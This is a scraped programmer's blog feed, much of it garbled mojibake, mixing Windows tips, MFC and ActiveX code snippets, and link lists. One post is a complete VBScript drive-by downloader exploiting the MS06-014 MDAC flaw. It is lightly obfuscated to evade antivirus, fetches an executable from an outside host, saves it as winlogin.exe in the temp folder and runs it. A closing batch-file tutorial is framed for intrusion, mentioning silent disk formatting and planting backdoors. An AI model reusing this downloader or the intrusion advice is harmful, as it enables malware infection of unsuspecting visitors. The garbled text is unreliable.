锘??xml version="1.0" encoding="utf-8" standalone="yes"?> You can disable digitally signed signatures, however it is not recommended. Step 1: Click Start button on the left bottom corner of desktop. In the search box, type "cmd" IMPORTANT:make a backup of your bcd file first. To do that, type: Then type these commands: When a memory device context is created, GDI automatically selects a
monochrome stock bitmap for it. 铏界劧鎴戜滑鐑垏鏈熸湜騫朵笖寰蔣涔熷簲璇ユ妸榪欎簺鍥炬爣浣滀負寮鍙戝寘鐨勪竴閮ㄥ垎鍏嶈垂鍙戝竷錛岃繖鏍蜂互鍒╀簬Windows搴旂敤鐨勭晫闈㈤鏍肩粺涓銆備絾鏄紝鐩墠寰蔣騫舵湭璁稿彲鍏嶈垂浣跨敤銆?/p> 緗戝崥澹鍧?http://www.citom.com/forum http://www.neowin.net/forum/index.php?showtopic=159107&hl=toolbar http://www.winmatrix.com/forums/index.php?showtopic=1008&st=0
1) disable driver digital signatures
http://answers.microsoft.com/en-us/windows/forum/windows_7-windows_programs/turning-off-digital-signatures/23c67c73-3fa0-4de3-a9b5-3adf4c3472f3
Important: The driver signing enforcement in Windows 7 and Vista is there for a reason. Unsigned drivers could theoretically contain malicious code and harm your computer.
Step 2: Go to Run command, and right click on command prompt and click on "Run as administrator".
Step 3: In the command prompt, type in these commands: Be very careful here. BCDEDIT controls how your computer boots up.
bcdedit /export C:\savedbcd
This will create a file c:\savebcd which is your boot entry backup.
If you mess up, you can always undo changes by:
bcdedit /import c:\savedbcd
bcdedit.exe -set loadoptions DDISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON
After you finished the steps above mentioned, you have made digital driver signing signature disabled for all installation. So you can install device drivers on Windows 7 without warning message that those drivers should be digitally signed.
2) install gpedit on window 7 basic
http://www.askvg.com/how-to-enable-group-policy-editor-gpedit-msc-in-windows-7-home-premium-home-basic-and-starter-editions/comment-page-4/#comments
NOTE: For Windows 7 64-bit (x64) users! You'll also need to go to "SysWOW64" folder present in C:\Windows folder and copy "GroupPolicy", "GroupPolicyUsers" folders and gpedit.msc file from there and paste them in "C:\Windows\System32" folder.
http://www.shnenglu.com/Files/aqazero/add_gpedit_msc_by_jwils876-d3kh6vm.zip
3) uninstall AOL
http://answers.yahoo.com/question/index?qid=20061224095808AAMxsCT
AOL ANTIVIRUS AOL SPYWARE PROTECTION AOL FIREWALL AOL SAFETY AND SECURITY CENTER
http://forums.techguy.org/digital-photography-imaging/536280-alternate-solution-printer-driver-unknown.html
]]>
Method A:
Method B (my way):
2
3 LRESULT FAR PASCAL GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
4 {
5 AFX_MANAGE_STATE(AfxGetStaticModuleState( ));
6
7 LPMSG lpMsg = (LPMSG) lParam;
8 if( (nCode >= 0) && PM_REMOVE == wParam)
9 {
10 //your code here. maybe to deal with hot-keys, accelerators ...
11 //see http://support.microsoft.com/kb/187988
12
13 //my code to simulate OnIdle
14 static BOOL bIdle = FALSE;
15 CWinApp* pApp = AfxGetApp();
16 if(!bIdle && pApp->IsIdleMessage(lpMsg))
17 bIdle = TRUE;
18
19 if(bIdle)
20 {
21 MSG msgPeek = {0};
22 if(!::PeekMessage(&msgPeek, NULL, NULL, NULL, PM_NOREMOVE))
23 {
24 VERIFY(PostMessage(AfxGetMainWnd()->GetSafeHwnd(), WM_USER+0x12, 0x34, 0x56));
25 }
26 }
27
28 if(lpMsg->hwnd == AfxGetMainWnd()->GetSafeHwnd() &&
29 lpMsg->message == WM_USER+0x12 && lpMsg->wParam == 0x34 && lpMsg->lParam == 0x56)
30 {
31 lpMsg->message = WM_NULL;
32 lpMsg->lParam = 0L;
33 lpMsg->wParam = 0L;
34
35 pApp->OnIdle(0);
36 bIdle = FALSE;
37 }
38 }
39
40 return ::CallNextHookEx(s_hGetMsgHook, nCode, wParam, lParam);
41 }
42
43 int CYourOleControl::OnCreate(LPCREATESTRUCT lpCreateStruct)
44 {
45 //...
46
47 if(NULL == s_hGetMsgHook)
48 s_hGetMsgHook = ::SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, AfxGetInstanceHandle(), GetCurrentThreadId());
49 }
50
51 void CYourOleControl::OnDestroy()
52 {
53 //...
54
55 ::UnhookWindowsHookEx(s_hGetMsgHook);
56 s_hGetMsgHook = NULL;
57
58 COleControl::OnDestroy();
59 }
Method A is far more simple, but with Method B:
1) You can override CWinApp::IsIdleMessage to filter some special messages, such as a frequent timer which will not affect what you want to do in CWinApp::OnIdle. Because timer will affect message queue and if you don't filter it, OnIdle will be called every time after the timer is invoked.
2) Sometimes your action in OnIdle will affect message queue inevitably, thus you will get a infinite loop: OnIdle->the special messages in message queue->OnIdle->... But with Method B, with SPY++ you can find the special messages, and filter them in IsIdleMessage.
]]>
http://stackoverflow.com/questions/313792/disabling-progress-bar-animation-on-vista-aero
http://msdn.microsoft.com/en-us/library/aa511486.aspx
鐢?meters"? 娌$┖鍟娿?br>
鎴戠殑鏆村姏鏂規(guī)硶鏄細
g_xpStyle 灝辨槸閭d釜 CVisualStylesXP錛?google 涓涓嬪氨鏈変簡銆?br>
]]>
浜轟笘闂存渶鐥涜嫤鐨勪簨鑾繃浜庢銆?br>
]]>
And now, sometimes , i need CMyDialog to be a model dialog (WS_POPUP), sometimes be a child of another dialog(WS_CHILD).
How to make this done without duplicating the template in resource?
Call ModifyStyle after creation? Failed
Modify the LPCREATESTRUCT's style in CMyDialog::OnCreate ? Failed.
Override PreCreateWindow? Failed.
After a lot of tracing and a lot of googling. I worked out something like this:
{
if(!IsWindow(pParent->GetSafeHwnd()))
return FALSE;
m_lpszTemplateName = ATL_MAKEINTRESOURCE(IDD_WALLLAYER_PROPERTYPAGE); // used for help
if (m_nIDHelp == 0)
m_nIDHelp = LOWORD((DWORD_PTR)m_lpszTemplateName);
HINSTANCE hInst = AfxFindResourceHandle(m_lpszTemplateName, RT_DIALOG);
HRSRC hResource = ::FindResource(hInst, m_lpszTemplateName, RT_DIALOG);
HGLOBAL hTemplate = LoadResource(hInst, hResource);
LPCDLGTEMPLATE lpDialogTemplate = (LPCDLGTEMPLATE)LockResource(hTemplate);
DLGTEMPLATEEX* lpDlgTmpEx = (DLGTEMPLATEEX* )lpDialogTemplate;
DWORD dwOldStyle = 0;
BOOL bIsDlgEx = lpDlgTmpEx->signature == 0xFFFF;
if(bIsDlgEx)
{
dwOldStyle = lpDlgTmpEx->style;
lpDlgTmpEx->style = DS_SETFONT | WS_CHILD;
}
else
{
dwOldStyle = ((LPDLGTEMPLATE)lpDialogTemplate)->style;
((LPDLGTEMPLATE)lpDialogTemplate)->style = DS_SETFONT | WS_CHILD;
}
m_lpDialogInit = NULL;
BOOL bResult = CreateDlgIndirect(lpDialogTemplate, pParent, hInst);
if(bIsDlgEx)
lpDlgTmpEx->style = dwOldStyle;
else
((LPDLGTEMPLATE)lpDialogTemplate)->style = dwOldStyle;
UnlockResource(hTemplate);
FreeResource(hTemplate);
return bResult;
}
If you need your dialog to behavior as WS_POPUP or WS_CHILD without duplicating your dialog template, you just get an ugly answer. And anyone who know another better way, let me know please.
MFC
]]>
VERIFY(dcMem.CreateCompatibleDC(NULL));
CBitmap bmp;
VERIFY(bmp.CreateCompatibleBitmap(&dc,100,100));
CBitmap * pOld = dcMem.SelectObject(&bmp);
dcMem.FillSolidRect(0,0,100,100,RGB(255,0,0));
dcMem.MoveTo(0,0);
dcMem.LineTo(100,100);
dc.BitBlt(0,0,100,100,&dcMem,0,0,SRCCOPY);
dcMem.SelectObject(pOld);
these codes will run smoothly. but you will get nothing other a bitmap either black or white.
See what MSDN says:
CBitmap::CreateCompatibleBitmap
If pDC is a memory device context, the bitmap returned has the same
format as the currently selected bitmap in that device context.
Solution:
1) pass in a CPaintDC instead of a memory dc
2) just replace VERIFY(bmp.CreateCompatibleBitmap(&dc,100,100)); with bmp.CreateBitmap(100,100,1,32,NULL);
]]>
]]>
for python:
http://cgkit.sourceforge.net/doc2/module-cgkit.wintab.html
http://www.gtcocalcomp.com/developers.php
]]>
http://www.csharphelp.com/archives2/archive334.html
http://www.eggheadcafe.com/articles/20030511.asp
]]>
scroll bar in .netCFW
http://www.c-sharpcorner.com/UploadFile/mgold/PocketPackingList11082006213122PM/PocketPackingList.aspx
]]>
a great book about Algorithm http://www2.toki.or.id/book/AlgDesignManual/INDEX.HTM
sql server developer
http://beta.verycd.com/groups/@g19046/135284.topic
http://beta.verycd.com/groups/@g19046/64613.topic
A great idea about context help:
1)http://www.codeproject.com/csharp/ContextHelpMadeEasy.asp
2)http://netpl.blogspot.com/2007/07/context-help-made-easy-revisited.html
How to deal with hotkey / accelerator keys in activex
http://support.microsoft.com/?scid=kb;EN-US;Q187988
You know how to google ,you know almost every thing.
]]>
for user:
瀹夎紼嬪簭鍦?http://www.shnenglu.com/Files/aqazero/brentExcelAddinSetup_fm.zip
excel鏂囦歡鏍煎紡鍙傝?http://www.shnenglu.com/Files/aqazero/example_brentAddin.zip
寰堢儌鐨勬簮鐮侊細http://www.shnenglu.com/Files/aqazero/BrentAddin.rar
]]>
<
html
>
聽
<
script聽
language
="VBScript"
>
聽聽聽聽
on
聽
error
聽
resume
聽
next
聽聽聽聽
'
鍗沖皢涓嬭澆鐨勬湪椹?/span>
聽聽聽聽dl聽
=
"
ht#tp://ww#w.800vv.com/cc/cj.exe#
"
聽聽聽聽
'
鍒涘緩OBJECT鍏冪礌
聽聽聽聽
Set
聽df聽
=
聽document.createElement(
"
object
"
)
聽聽聽聽
'
鎸囧畾OBJECT涓篟DS.DataSpace聽
聽聽聽聽聽聽聽聽
'
璇ュ璞℃湁涓涓柟娉曞悕涓篊reateObject錛?/span>
聽聽聽聽聽聽聽聽
'
helpstring("Creates聽a聽business聽object聽of聽the聽specified聽Progid聽over聽the聽specified聽connection")
聽聽聽聽df.setAttribute聽
"
classid
"
,聽
"
clsid:BD96C556-65A3-11D#0-983A-00C04F#C29E36
"
聽聽聽聽
'
聽聽聽聽str
=
"
Microsoft.XMLHTTP
"
聽聽聽聽
'
RDS.DataSpace.CreateObject("Microsoft.XMLHTTP","")
聽聽聽聽
Set
聽x聽
=
聽df.CreateObject(str,
""
)
聽聽聽聽
'
4545
聽聽聽聽a1
=
"
A#do
"
聽聽聽聽a2
=
"
db.
"
聽聽聽聽a3
=
"
Str
"
聽聽聽聽a4
=
"
eam
"
聽聽聽聽
'
str5聽=聽"Adodb.Stream"聽鍒嗘垚榪欎箞澶氭鏄負浜嗘帺浜鴻崇洰
聽聽聽聽str1
=
a1
&
a2
&
a3
&
a4
聽聽聽聽str5
=
str1
聽聽聽聽
'
RDS.DataSpace.CreateObject("Ado#db.Str#eam","")
聽聽聽聽
set
聽S聽
=
聽df.createobject(str5,
""
)
聽聽聽聽
'
5455
聽聽聽聽S.type聽
=
聽
1
聽聽聽聽str6
=
"
GET
"
聽聽聽聽
'
Microsoft.XMLHTTP.Open聽"GET"聽"ht#tp://ww#w.800vv.com/cc/cj.exe#"聽False
聽聽聽聽聽聽聽聽
'
涓嬭澆鏈ㄩ┈
聽聽聽聽x.Open聽str6,聽dl,聽
False
聽聽聽聽x.Send
聽聽聽聽
'
鏈湴鏂囦歡鍚?/span>
聽聽聽聽fname1
=
"
winlogin.exe
"
聽聽聽聽
'
888
聽聽聽聽
set
聽F聽
=
聽df.createobject(
"
Scri#pting.FileSy#stemObject
"
,
""
)
聽聽聽聽
'
鑾峰彇涓存椂鐩綍
聽聽聽聽
set
聽tmp聽
=
聽F.GetSpecialFolder(
2
)聽
聽聽聽聽
'
鍒涘緩鏈湴鏂囦歡
聽聽聽聽fname1
=
聽F.BuildPath(tmp,fname1)
聽聽聽聽
'
Adodb.Stream.open
聽聽聽聽S.open
聽聽聽聽
'
Adodb.Stream.write聽鏈ㄩ┈浠g爜
聽聽聽聽S.write聽x.responseBody
聽聽聽聽
'
Adodb.Stream.savetofile聽"涓存椂鐩綍\winlogin.exe"
聽聽聽聽S.savetofile聽fname1,
2
聽聽聽聽
'
6551
聽聽聽聽S.close
聽聽聽聽
'
458
聽聽聽聽
set
聽Q聽
=
聽df.createobject(
"
Shell.Application
"
,
""
)
聽聽聽聽
'
榪愯聽涓存椂鐩綍\winlogin.exe
聽聽聽聽Q.ShellExecute聽fname1,
""
,
""
聽聽聽聽
'
55
聽聽聽聽
</
script
>
聽聽聽聽
<
head
>
聽聽聽聽
<
title
>
icexiaoyeMS06-014鍏嶆潃緗戦┈
</
title
>
聽聽聽聽
</
head
><
body
>
聽聽聽聽
<
center
>
icexiaoyeMS06-014鍏嶆潃緗戦┈
</
center
>
聽聽聽聽
</
body
>
<
script聽
type
="text/jscript"
>
function
聽init()聽
{聽
document.write(Date());
}
window.onload聽
=
聽init;
</
script
>
</
html
>
涓鑸潵璇達紝script鏄棤娉曞啓鏈湴鏂囦歡鐨勩傘傝繖孌典唬鐮佸埄鐢ㄤ簡Microsoft Data Access Components (MDAC)鐨勪竴涓畨鍏ㄦ紡媧炴潵鍐欐湰鍦版枃浠躲?img src ="http://www.shnenglu.com/aqazero/aggbug/12944.html" width = "1" height = "1" />
]]>
鍑轟簬瀵筂S Office 2003鐣岄潰鐮旂┒鐨勫叴瓚o紝鏈榪戞敹闆嗕簡濡備綍鎻愬彇Office 2003宸ュ叿鏍忓浘鏍囩殑鐩稿叧閾炬帴騫剁暐鍔犵炕璇戞暣鐞嗭紝鐩鎬俊瀵規(guī)鎰熷叴瓚g殑涓嶆鎴戜竴涓紝鐗規(guī)鍏變韓銆?
1.涓轟綍錛?/h1>
2.鏉′歡
3.姝ラ
濡傛灉鎻愮ず瀹忚紱佺敤錛岃繘鍏xcel鑿滃崟-銆夊伐鍏?銆夊畯-銆夊畨鍏ㄦэ紝鎶婂畨鍏ㄧ駭鍒涓轟腑鍐嶆榪愯騫剁‘璁ゅ惎鐢ㄥ畯銆?
4.闂
鐢變簬鍥炬爣鏁扮洰闈炲父涔嬪ぇ銆佸茍涓斿昂瀵稿緢灝忥紝浣跨敤璧勬簮綆$悊鍣ㄧ殑緙╃暐鍥懼拰騫葷伅鐗囩瓑鏂瑰紡鏌ョ湅閮戒笉鍚堥傦紝鑰屽悎騫跺悗鐨勫ぇ鍥炬瘡鎺掓湁50涓紝鍏辨湁50鎺掞紝鐪嬭搗鏉ヤ篃鏄溂鑺辯輯涔便傚洜姝わ紝瑕佷粠涓寫閫夊悎閫傜殑鍥炬爣闇瑕佷竴瀹氱殑鎶宸с傛垜鐨勭粡楠屾槸棣栧厛閫氳繃浣跨敤Office2003瀵瑰ぇ姒傛湁鍝簺鍥炬爣鏈変釜鏁翠綋浜嗚В錛屽叾嬈℃槸浣跨敤澶у浘瀵瑰浘鏍囩殑鍒嗗竷鏈変釜澶ц嚧浜嗚В錛堢浉鍏崇殑鍥炬爣閫氬父鍦ㄤ竴璧鳳級錛岀劧鍚庡彲浣跨敤ACDSEE鐨勭緝鐣ュ浘鏌ョ湅錛孉CDSEE榛樿鐨勭緝鐣ュ浘灝哄涔熶笉閫傚悎鏌ョ湅灝忓浘鏍?鍙湪"宸ュ叿-銆夐夐」-銆夋枃浠跺垪琛?銆夌緝鐣ュ浘鏄劇ず"涓緗緝鐣ュ浘澶у皬涓?0*30 (ACDSEE6.0鐗堟湰錛夈?
灝辨垜鎵鐭ワ紝鎵鏈夊浘鏍囬兘鍦ㄨ繖閲屼簡銆備絾鏈夋椂浠嶇劧浼氬嚭鐜版壘涓嶅埌鍦∣ffice2003鐣岄潰涓榪囩殑鍥炬爣錛岃繖鏃墮渶瑕佽愬績鍚屾椂瑕佹敞鎰忔湁鐨勫浘鏍囷紙濡傚乏瀵歸綈錛夋湰韜氨鏄粦鑹茬殑錛屽湪鏌ョ湅鏃朵細鍙戠幇寰堝鍏ㄩ粦鑹茬殑鍥炬爣錛屽叾涓彲鑳藉氨鏈変綘瑕佺殑鍥炬爣銆傚榪欑被鍥炬爣鍙湪Photoshop涓墦寮錛屽湪閫氶亾闈㈡澘涓妸Alpha閫氶亾鏄劇ず閫変腑鍗沖彲鐪嬫竻鍥炬爣鍘熻矊銆?5.娉ㄦ剰
6.鐩稿叧閾炬帴
]]>
瀹炲湪鏄墰鍟婏紒淇轟竴寮濮嬩互涓烘槸鐢╦avascript鏉ュ仛鐨?鏌ョ湅浜嗕緥瀛愮殑婧愪唬鐮佸悗鍙戠幇涓嶆槸.
閭d箞榪欎釜acitvex鎺т歡鑷沖皯搴旇鍙互鑾峰緱ie 嫻忚鍣ㄧ殑鎺ュ彛IWebBrowser2,浣嗗畠鏄庝箞鍋氱殑鍛?
涓寮濮嬫垜鐨勬濊礬鏄?ie嫻忚鍣ㄤ綔涓轟竴涓鍣?瀹冩槸鍚﹀悓鏃跺疄鐜頒簡IOleContainer鍜孖WebBrowser2?璇曢獙鍙戠幇涓嶅...緇忚繃澶氭柟google,鎵懼埌CSDN涓璼hanhe鐨勪笓鏍?a >http://blog.csdn.net/shanhe/category/15859.aspx?PageNumber=2
鎵懼埌鍙鐨勪唬鐮佸涓?
IOleContainer* pContainer;
HRESULT hr = m_pClientSite->GetContainer(&pContainer);
if (FAILED(hr))
聽聽聽 return hr;
IServiceProvider* pServiceProvider;
hr = pContainer->QueryInterface(IID_IServiceProvider,
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 (void**)&pServiceProvider);
pContainer->Release();
if (FAILED(hr))
聽聽聽 return hr;
IWebBrowser2* pWebBrowser;
hr = pServiceProvider->QueryService(SID_SWebBrowserApp,
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 IID_IWebBrowser2,
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 (void**)&pWebBrowser);
pServiceProvider->Release();
if (FAILED(hr))
聽聽聽 return hr;
鍙互鑾峰彇浜咺WebBrowser2鎺ュ彛,浣嗗浣曡鍙杊tml鍏冪礌鐨勫煎憿?IWebBrowser2鎺ュ彛浼間箮娌℃湁榪欎釜鍔熻兘?
鍙堟槸鍗冨北涓囨按鐨刧oogle:
vckbase:
http://vckbase.net/document/viewdoc/?id=1446
codeguru:
http://www.codeguru.com/Cpp/COM-Tech/atl/misc/article.php/c3619/
聽
msdn 2003 :
MSHTML ReferenceHOWTO: Get the WebBrowser Object Model of an HTML Frame
HOWTO: Retrieve the URL of a Web Page from an ActiveX Control
msdn鍏充簬MSHTML鐨勫弬鑰冧篃澶熺儌錛屽垪鍑轟竴鍫嗘帴鍙f柟娉曞氨涓嶇浜嗐傜┒绔熺粨鏋勫浣曡鑷繁鍘葷爺絀躲傛諱箣寰堟槸涓嶇埥銆?/p>
濡傛灉娌℃湁涓瀹氱殑鐩稿叧鐭ヨ瘑鎭愭曚笉瀹規(guī)槗鐪嬫噦鍜岀悊瑙f壒澶勭悊鏂囦歡錛屼篃灝辨洿璋堜笉涓婅嚜宸卞姩鎵嬬紪鍐欎簡
鎵瑰鐞嗘枃浠舵槸鏃犳牸寮忕殑鏂囨湰鏂囦歡錛屽畠鍖呭惈涓鏉℃垨澶氭潯鍛戒護銆傚畠鐨勬枃浠舵墿灞曞悕涓?.bat 鎴?.cmd銆傚湪鍛戒護鎻愮ず涓嬮敭鍏ユ壒澶勭悊鏂囦歡鐨勫悕縐幫紝鎴栬呭弻鍑昏鎵瑰鐞嗘枃浠訛紝緋葷粺灝變細璋冪敤Cmd.exe鎸夌収璇ユ枃浠朵腑鍚勪釜鍛戒護鍑虹幇鐨勯『搴忔潵閫愪釜榪愯瀹冧滑銆備嬌鐢ㄦ壒澶勭悊鏂囦歡錛堜篃琚О涓烘壒澶勭悊紼嬪簭鎴栬剼鏈級錛屽彲浠ョ畝鍖栨棩甯告垨閲嶅鎬т換鍔°傚綋鐒舵垜浠殑榪欎釜鐗堟湰鐨勪富瑕佸唴瀹規(guī)槸浠嬬粛鎵瑰鐞嗗湪鍏ヤ鏡涓竴浜涘疄闄呰繍鐢紝渚嬪鎴戜滑鍚庨潰瑕佹彁鍒扮殑鐢ㄦ壒澶勭悊鏂囦歡鏉ョ粰緋葷粺鎵撹ˉ涓併佹壒閲忔鍏ュ悗闂ㄧ▼搴忕瓑銆備笅闈㈠氨寮濮嬫垜浠壒澶勭悊瀛︿範涔嬫梾鍚с?/p>
涓.綆鍗曟壒澶勭悊鍐呴儴鍛戒護綆浠?br />1.Echo 鍛戒護
鎵撳紑鍥炴樉鎴栧叧闂姹傚洖鏄懼姛鑳斤紝鎴栨樉紺烘秷鎭傚鏋滄病鏈変換浣曞弬鏁幫紝echo 鍛戒護灝嗘樉紺哄綋鍓嶅洖鏄捐緗?br />璇硶
echo [{ on|off }] [message]
Sample錛欯echo off / echo hello world
鍦ㄥ疄闄呭簲鐢ㄤ腑鎴戜滑浼氭妸榪欐潯鍛戒護鍜岄噸瀹氬悜絎﹀彿錛堜篃縐頒負綆¢亾絎﹀彿錛屼竴鑸敤> >> ^錛夌粨鍚堟潵瀹炵幇杈撳叆涓浜涘懡浠ゅ埌鐗瑰畾鏍煎紡鐨勬枃浠朵腑.榪欏皢鍦ㄤ互鍚庣殑渚嬪瓙涓綋鐜板嚭鏉ャ?/p>
2.@ 鍛戒護
琛ㄧず涓嶆樉紺篅鍚庨潰鐨勫懡浠わ紝鍦ㄥ叆渚佃繃紼嬩腑錛堜緥濡備嬌鐢ㄦ壒澶勭悊鏉ユ牸寮忓寲鏁屼漢鐨勭‖鐩橈級鑷劧涓嶈兘璁╁鏂圭湅鍒頒綘浣跨敤鐨勫懡浠ゅ暒銆?br />Sample錛欯echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 榪欎釜鍛戒護鏄笉鍙互浣跨敤/y榪欎釜鍙傛暟鐨勶紝鍙枩鐨勬槸寰蔣鐣欎簡涓猘utoset榪欎釜鍙傛暟緇欐垜浠紝鏁堟灉鍜?y鏄竴鏍風(fēng)殑銆?
3.Goto 鍛戒護
鎸囧畾璺寵漿鍒版爣絳撅紝鎵懼埌鏍囩鍚庯紝紼嬪簭灝嗗鐞嗕粠涓嬩竴琛屽紑濮嬬殑鍛戒護銆?br />璇硶錛歡oto label 錛坙abel鏄弬鏁幫紝鎸囧畾鎵瑕佽漿鍚戠殑鎵瑰鐞嗙▼搴忎腑鐨勮銆傦級
Sample錛?br />if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms錛堝鏋滆繖閲岀殑if銆?1銆?2浣犱笉鏄庣櫧鐨勮瘽錛屽厛璺寵繃鍘伙紝鍚庨潰浼氭湁璇︾粏鐨勮В閲娿傦級
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
鏍囩鐨勫悕瀛楀彲浠ラ殢渚胯搗錛屼絾鏄渶濂芥槸鏈夋剰涔夌殑瀛楁瘝鍟︼紝瀛楁瘝鍓嶅姞涓細鐢ㄦ潵琛ㄧず榪欎釜瀛楁瘝鏄爣絳撅紝goto鍛戒護灝辨槸鏍規(guī)嵁榪欎釜錛氭潵瀵繪壘涓嬩竴姝ヨ煩鍒板埌閭i噷銆傛渶濂芥湁涓浜涜鏄庤繖鏍蜂綘鍒漢鐪嬭搗鏉ユ墠浼氱悊瑙d綘鐨勬剰鍥懼晩銆?/p>
4.Rem 鍛戒護
娉ㄩ噴鍛戒護錛屽湪C璇█涓浉褰撲笌/*--------*/,瀹冨茍涓嶄細琚墽琛岋紝鍙槸璧蜂竴涓敞閲婄殑浣滅敤錛屼究浜庡埆浜洪槄璇誨拰浣犺嚜宸辨棩鍚庝慨鏀廣?br />Rem Message
Sample錛欯Rem Here is the description.
5.Pause 鍛戒護
榪愯 Pause 鍛戒護鏃訛紝灝嗘樉紺轟笅闈㈢殑娑堟伅錛?br />Press any key to continue . . .
Sample錛?br />@echo off
:begin
copy a:*.* d錛?/back
echo Please put a new disk into driver A
pause
goto begin
鍦ㄨ繖涓緥瀛愪腑錛岄┍鍔ㄥ櫒 A 涓鐩樹笂鐨勬墍鏈夋枃浠跺潎澶嶅埗鍒癲://back涓傛樉紺虹殑娉ㄩ噴鎻愮ず鎮(zhèn)ㄥ皢鍙︿竴寮犵鐩樻斁鍏ラ┍鍔ㄥ櫒 A 鏃訛紝pause 鍛戒護浼氫嬌紼嬪簭鎸傝搗錛屼互渚挎?zhèn)ㄦ洿鎹⒓倎鐩樺Q岀劧鍚庢寜浠繪剰閿戶緇鐞嗐?/p>
6.Call 鍛戒護
浠庝竴涓壒澶勭悊紼嬪簭璋冪敤鍙︿竴涓壒澶勭悊紼嬪簭錛屽茍涓斾笉緇堟鐖舵壒澶勭悊紼嬪簭銆俢all 鍛戒護鎺ュ彈鐢ㄤ綔璋冪敤鐩爣鐨勬爣絳俱傚鏋滃湪鑴氭湰鎴栨壒澶勭悊鏂囦歡澶栦嬌鐢?Call錛屽畠?yōu)畣涓嶄細鍦ㄥ懡渥o琛岃搗浣滅敤銆?br />璇硶
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
鍙傛暟
[Drive: }[Path] FileName
鎸囧畾瑕佽皟鐢ㄧ殑鎵瑰鐞嗙▼搴忕殑浣嶇疆鍜屽悕縐般俧ilename 鍙傛暟蹇呴』鍏鋒湁 .bat 鎴?.cmd 鎵╁睍鍚嶃?/p>
7.start 鍛戒護
璋冪敤澶栭儴紼嬪簭錛屾墍鏈夌殑DOS鍛戒護鍜屽懡浠よ紼嬪簭閮藉彲浠ョ敱start鍛戒護鏉ヨ皟鐢ㄣ?br />鍏ヤ鏡甯哥敤鍙傛暟錛?br />MIN 寮濮嬫椂紿楀彛鏈灝忓寲
SEPARATE 鍦ㄥ垎寮鐨勭┖闂村唴寮濮?16 浣?Windows 紼嬪簭
HIGH 鍦?HIGH 浼樺厛綰х被鍒紑濮嬪簲鐢ㄧ▼搴?br />REALTIME 鍦?REALTIME 浼樺厛綰х被鍒紑濮嬪簲鐢ㄧ▼搴?br />WAIT 鍚姩搴旂敤紼嬪簭騫剁瓑鍊欏畠緇撴潫
parameters 榪欎簺涓轟紶閫佸埌鍛戒護/紼嬪簭鐨勫弬鏁?br />鎵ц鐨勫簲鐢ㄧ▼搴忔槸 32-浣?GUI 搴旂敤紼嬪簭鏃訛紝CMD.EXE 涓嶇瓑搴旂敤紼嬪簭緇堟灝辮繑鍥炲懡浠ゆ彁紺恒傚鏋滃湪鍛戒護鑴氭湰鍐呮墽琛岋紝璇ユ柊琛屼負鍒欎笉浼氬彂鐢熴?br />8.choice 鍛戒護
choice 浣跨敤姝ゅ懡浠ゅ彲浠ヨ鐢ㄦ埛杈撳叆涓涓瓧絎︼紝浠庤岃繍琛屼笉鍚岀殑鍛戒護銆備嬌鐢ㄦ椂搴旇鍔?c:鍙傛暟錛宑:鍚庡簲鍐欐彁紺哄彲杈撳叆鐨勫瓧絎︼紝涔嬮棿鏃犵┖鏍箋傚畠鐨勮繑鍥炵爜涓?234鈥︹?br />濡? choice /c:dme defrag,mem,end
灝嗘樉紺?br />defrag,mem,end[D,M,E]?
Sample錛?br />Sample.bat鐨勫唴瀹瑰涓?
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag 錛堝簲鍏堝垽鏂暟鍊兼渶楂樼殑閿欒鐮侊級
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c://dos//defrag
goto end
:mem
mem
goto end
:end
echo good bye
姝ゆ枃浠惰繍琛屽悗錛屽皢鏄劇ず defrag,mem,end[D,M,E]? 鐢ㄦ埛鍙夋嫨d m e 錛岀劧鍚巌f璇彞灝嗕綔鍑哄垽鏂紝d琛ㄧず鎵ц鏍囧彿涓篸efrag鐨勭▼搴忔錛宮琛ㄧず鎵ц鏍囧彿涓簃em鐨勭▼搴忔錛宔琛ㄧず鎵ц鏍囧彿涓篹nd鐨勭▼搴忔錛屾瘡涓▼搴忔鏈鍚庨兘浠oto end灝嗙▼搴忚煩鍒癳nd鏍囧彿澶勶紝鐒跺悗紼嬪簭灝嗘樉紺篻ood bye錛屾枃浠剁粨鏉熴?/p>
9.If 鍛戒護
if 琛ㄧず灝嗗垽鏂槸鍚︾鍚堣瀹氱殑鏉′歡錛屼粠鑰屽喅瀹氭墽琛屼笉鍚岀殑鍛戒護銆?鏈変笁縐嶆牸寮?
1銆乮f "鍙傛暟" == "瀛楃涓? 銆寰呮墽琛岀殑鍛戒護
鍙傛暟濡傛灉絳変簬鎸囧畾鐨勫瓧絎︿覆錛屽垯鏉′歡鎴愮珛錛岃繍琛屽懡浠わ紝鍚﹀垯榪愯涓嬩竴鍙ャ?娉ㄦ剰鏄袱涓瓑鍙鳳級
濡俰f "%1"=="a" format a:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms
2銆乮f exist 鏂囦歡鍚嶃 寰呮墽琛岀殑鍛戒護
濡傛灉鏈夋寚瀹氱殑鏂囦歡錛屽垯鏉′歡鎴愮珛錛岃繍琛屽懡浠わ紝鍚﹀垯榪愯涓嬩竴鍙ャ?br />濡俰f exist config.sys edit config.sys
3銆乮f errorlevel / if not errorlevel 鏁板瓧銆 寰呮墽琛岀殑鍛戒護
濡傛灉榪斿洖鐮佺瓑浜庢寚瀹氱殑鏁板瓧錛屽垯鏉′歡鎴愮珛錛岃繍琛屽懡浠わ紝鍚﹀垯榪愯涓嬩竴鍙ャ?br />濡俰f errorlevel 2 goto x2 銆
DOS紼嬪簭榪愯鏃墮兘浼氳繑鍥炰竴涓暟瀛楃粰DOS錛岀О涓洪敊璇爜errorlevel鎴栫О榪斿洖鐮侊紝甯歌鐨勮繑鍥炵爜涓?銆?銆?/p>
10.for 鍛戒護
